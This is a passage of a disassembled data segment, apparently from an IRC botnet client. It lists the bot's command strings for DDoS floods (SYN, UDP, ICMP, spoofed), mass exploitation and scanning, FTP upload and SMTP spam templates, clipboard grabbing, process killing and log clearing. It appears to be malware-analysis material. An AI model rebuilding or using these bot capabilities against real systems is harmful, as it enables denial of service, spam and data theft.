1F641F6Dh ; DATA XREF: seg000:loc_40B758o dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_42BC04 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040B74Eo dd 2029206Ch, 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_42BC50 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040B6D4o dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: seg000:0040B6C4o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040B6BDo dword_42BCA8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040B628o dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_42BCE4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:loc_40B53Do dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_42BD24 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040B536o dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040B51Fo aSS_3 db '-s:%s',0 ; DATA XREF: seg000:0040B508o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040B4E8o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: seg000:0040B4C4o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040B4B3o align 4 dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040B42Do dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040B40Ao align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040B3E4o align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040B3CDo align 10h unk_42BE00 db 3 ; DATA XREF: seg000:0040B3C0o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; » db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040B34Co db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: seg000:0040B2ADo unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040B25Eo align 10h aUsa db 'usa',0 ; DATA XREF: seg000:0040B247o aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040B230o align 4 aPg db 'pg',0 ; DATA XREF: seg000:0040B219o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040B202o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040B1EBo align 4 aPu db 'pu',0 ; DATA XREF: seg000:0040B1D4o align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040B1BDo align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040B1A6o align 4 aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040B178o align 10h aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040B14Fo align 4 aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040B138o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040B121o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040B10Ao align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040B0F3o align 10h aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040B0DCo align 10h aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040B0C5o align 10h aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040B0AEo align 4 aD1 db 'd1',0 ; DATA XREF: seg000:0040B097o align 4 aDonad_frwww db 'donad.frwww',0 ; DATA XREF: seg000:0040B080o aSy1 db 'sy1',0 ; DATA XREF: seg000:0040B069o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040B052o align 4 aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040B03Bo align 10h aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040B024o align 4 aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040B00Do align 10h aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040AFF6o aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040AFDFo align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040AFB6o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040AF9Fo align 4 aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040AF88o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040AF71o align 10h aBox_e db 'box.e',0 ; DATA XREF: seg000:0040AF5Ao align 4 aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040AF43o aDownload_010 db 'download.010',0 ; DATA XREF: seg000:0040AF2Co align 4 aDownload_up010 db 'download.up010',0 ; DATA XREF: seg000:0040AF15o align 4 aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040AEFEo align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040AEE7o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040AED0o align 10h aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040AEB9o align 4 aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040AEA2o aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040AE8Bo align 10h aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040AE74o aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040AE5Do align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040AE46o align 10h aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040AE2Fo align 4 aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040AE18o aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040AE01o align 10h aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040ADEAo align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040ADD3o align 4 aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040ADBCo align 10h aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040ADA5o align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040AD8Eo align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040AD77o align 10h aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040AD60o align 4 aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040AD49o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040AD32o align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040AD1Bo aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040AD04o align 10h aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040ACEDo align 10h aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040ACC4o align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040ACADo dword_42C134 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40ACA0o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_42C164 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40AC96o dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_42C198 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40AC48o dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_42C1C8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040AC3Eo dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: seg000:0040ABB1o align 4 dword_42C204 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40ABA6o dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_42C238 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040AB9Co dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: seg000:0040AB34o align 4 aDelete db 'delete',0 ; DATA XREF: seg000:0040AB19o align 4 aPause db 'pause',0 ; DATA XREF: seg000:0040AAE6o align 4 aStop db 'stop',0 ; DATA XREF: seg000:0040AACEo align 4 dword_42C28C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40AAC3o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_42C2C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040AAB9o dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_42C2F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040AA35o dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: seg000:0040AA11o aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040A9FAo align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040A9E3o align 4 aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040A9B5o ; seg000:0040A9CCo align 10h aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040A99Eo align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040A987o align 4 aBox_del db 'box.del',0 ; DATA XREF: seg000:0040A970o aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040A959o align 4 aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040A942o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040A92Bo align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040A914o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040A8FDo align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040A8E6o align 4 aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040A8CFo aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040A8B8o align 4 aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040A8A1o align 4 aBox_o db 'box.o',0 ; DATA XREF: seg000:0040A88Ao align 4 aBox_open db 'box.open',0 ; DATA XREF: seg000:0040A873o align 10h aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040A85Co align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040A845o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040A82Eo align 10h aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040A817o align 10h aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040A800o aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040A7E9o align 4 aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040A7D2o align 10h aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040A7BBo align 10h aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040A7A4o align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040A78Do aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040A776o align 4 aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040A75Fo align 4 aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040A748o align 4 aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040A731o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040A71Ao align 10h aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040A703o align 4 aVall db 'vall',0 ; DATA XREF: seg000:0040A6DDo align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040A6C8o align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040A6B3o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040A69Eo align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040A689o align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040A674o aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040A65Fo align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040A64Ao align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040A635o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040A620o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040A60Bo align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040A5F6o align 4 aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040A5E1o align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040A5CCo dword_42C580 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040A5C1o dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: seg000:0040A58Do align 4 aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040A580o aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040A55Eo align 4 aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040A545o aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040A530o aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040A51Bo align 4 aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040A506o aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040A4F1o align 4 aBox_up db 'box.up',0 ; DATA XREF: seg000:0040A4DCo align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040A4C7o align 10h aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040A4B2o align 4 aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040A49Do align 4 aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040A488o aEnz_be010ne db 'enz.be010ne',0 ; DATA XREF: seg000:0040A473o aBox_si db 'box.si',0 ; DATA XREF: seg000:0040A45Eo align 10h aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040A449o aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040A434o align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040A41Fo aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040A40Ao align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040A3F5o align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: seg000:0040A3E0o align 4 aEnz_log db 'enz.log',0 ; DATA XREF: seg000:0040A3CBo aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040A3B6o align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040A3A1o aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040A38Co align 4 aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040A377o align 4 dword_42C6CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040A343o dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_42C704 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040A33Co dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040A325o align 10h aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040A310o align 4 aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040A2FBo align 10h aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040A2E6o align 4 aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040A2D1o align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040A2BCo align 10h aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040A2A7o align 10h aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040A292o aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040A27Do aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040A268o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040A253o align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040A23Eo aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040A229o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040A21Eo align 4 aScan db 'Scan',0 ; DATA XREF: seg000:0040A219o align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040A200o align 10h dword_42C7E0 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure db 'Secure',0 ; DATA XREF: seg000:0040A1F0o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040A1D7o align 4 dword_42C808 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040A1C7o align 10h aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040A1AEo align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040A199o align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040A184o align 4 dword_42C848 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040A15Bo dword_42C864 dd 69027002h, 1F671F6Eh, 2E2Ehdword_42C870 dd 676E6950h, 6F6C6620h, 646Fhdword_42C87C dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42C88C dd 64027502h, 2E1F701Fh, 2Ehdword_42C898 dd 20504455h, 6F6F6C66h, 64hdword_42C8A4 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42C8B4 dd 79027302h, 2E1F6E1Fh, 2Ehdword_42C8C0 dd 206E7953h, 6F6F6C66h, 64hdword_42C8CC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42C8DC dd 64026402h, 1F731F6Fh, 2E2Ehdword_42C8E8 dd 536F4444h, 6F6C6620h, 646Fhdword_42C8F4 dd 736F6464h, 66666F2Eh, 0dword_42C900 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42C910 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040A08Eo dword_42C934 dd 6F026C02h, 2E1F671Fh, 2Ehdword_42C940 dd 20676F4Ch, 7473696Ch, 0dword_42C94C dd 2E676F6Ch, 66666Fhdword_42C954 dd 74026802h, 641F7074h, 2E2E1Fhdword_42C960 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42C970 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer db 'Server',0 ; DATA XREF: seg000:0040A02Co ; seg000:0040A055o ... align 4 aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040A013o align 4 aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:00409FFEo align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:00409FE9o align 10h aEnz_d db 'enz.d',0 ; DATA XREF: seg000:00409FD4o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:00409FBFo aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:00409FAAo align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:00409F92o a63 db '63',0 ; DATA XREF: seg000:00409E7Do align 4 asc_42C9DC: ; DATA XREF: seg000:00409E5Eo unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: seg000:00409E27o align 4 aServer_2 db '$server',0 ; DATA XREF: seg000:00409E1Co aRndnick db '$rndnick',0 ; DATA XREF: seg000:00409E0Bo align 4 aChan db '$chan',0 ; DATA XREF: seg000:00409DF2o align 4 aUser_2 db '$user',0 ; DATA XREF: seg000:00409DE1o align 4 aMe_0 db '$me',0 ; DATA XREF: seg000:00409DCFo aD_0 db '$%d',0 ; DATA XREF: seg000:00409D67o aD_1 db '$%d-',0 ; DATA XREF: seg000:00409CBBo align 4 dword_42CA1C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: seg000:00409C53o dd 0A0Dh dword_42CA34 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:00409BE4o align 4 dword_42CA58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: seg000:00409BCAo dd 0D017325h, 0Ah dword_42CA74 dd 52455601h, 4E4F4953h, 1dword_42CA80 dd 6968h aNewshit0 db 'newshit0',0 ; DATA XREF: seg000:00409A54o align 10h a332 db '332',0 ; DATA XREF: seg000:004099C5o ; seg000:00409A8Bo ... aNotice db 'NOTICE',0 ; DATA XREF: seg000:004099A3o ; sub_40E367+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:00409997o ; sub_40E367+16o dword_42CAA4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00409946o dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_42CAD8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00409926o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: seg000:004098EFo aPart db 'PART',0 ; DATA XREF: seg000:004098A1o ; seg000:00409963o align 4 aSS_0 db ':%s%s',0 ; DATA XREF: seg000:00409879o align 10h aNick db 'NICK',0 ; DATA XREF: seg000:0040975Bo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:004096FEo ; seg000:00409987o dword_42CB38 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004096E5o ; seg000:0040E063o ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: seg000:00409674o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040961Do ; seg000:0040D364o ... align 10h a433 db '433',0 ; DATA XREF: seg000:004095F5o a302 db '302',0 ; DATA XREF: seg000:004095BAo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409574o ; seg000:00409748o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409553o align 4 aPing db 'PING',0 ; DATA XREF: seg000:00409539o align 4 asc_42CBAC db ' :',0 ; DATA XREF: seg000:00409416o ; seg000:loc_409C5Do align 10h dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 dword_42CC40 dd 25207325h, 253A2073h, 0A0D73h, 0off_42CC50 dd offset aAdd ; DATA XREF: sub_40E402+6Dr ; sub_40E7E6+50r ... ; "Add" off_42CC54 dd offset aAdded ; DATA XREF: sub_40E402+2Dr ; sub_40E7E6+82r ... ; "Added" dword_42CC58 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42CCC4h, 42CCBCh, 2, 42CCB0h, 42CCA4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0042CC84o aStop_0 db 'Stop',0 ; DATA XREF: seg002:0042CC80o align 4 aStarted db 'Started',0 ; DATA XREF: seg002:0042CC78o aStart_0 db 'Start',0 ; DATA XREF: seg002:0042CC74o align 4 aListed db 'Listed',0 ; DATA XREF: seg002:0042CC6Co align 4 aList_0 db 'List',0 ; DATA XREF: seg002:0042CC68o align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg002:0042CC60o aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0042CC5Co align 4 aAdded db 'Added',0 ; DATA XREF: seg002:off_42CC54o align 4 aAdd db 'Add',0 ; DATA XREF: seg002:off_42CC50o dword_42CD18 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E402+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42CD50 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E402+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42CD8C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40E402+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40E52B+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40E52B:loc_40E643o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40E52B:loc_40E63Co align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40E52B:loc_40E635o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40E52B:loc_40E62Eo align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40E52B:loc_40E627o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40E52B:loc_40E620o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40E52B:loc_40E619o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40E52B:loc_40E612o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40E52B:loc_40E60Bo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40E52B:loc_40E604o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40E52B:loc_40E5D9o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40E52B:loc_40E5D2o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40E52B:loc_40E5CBo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40E52B:loc_40E5C4o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40E52B+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40E52B:loc_40E599o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40E52B:loc_40E58Fo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40E52B:loc_40E585o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40E52B:loc_40E57Bo align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40E52B:loc_40E571o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: 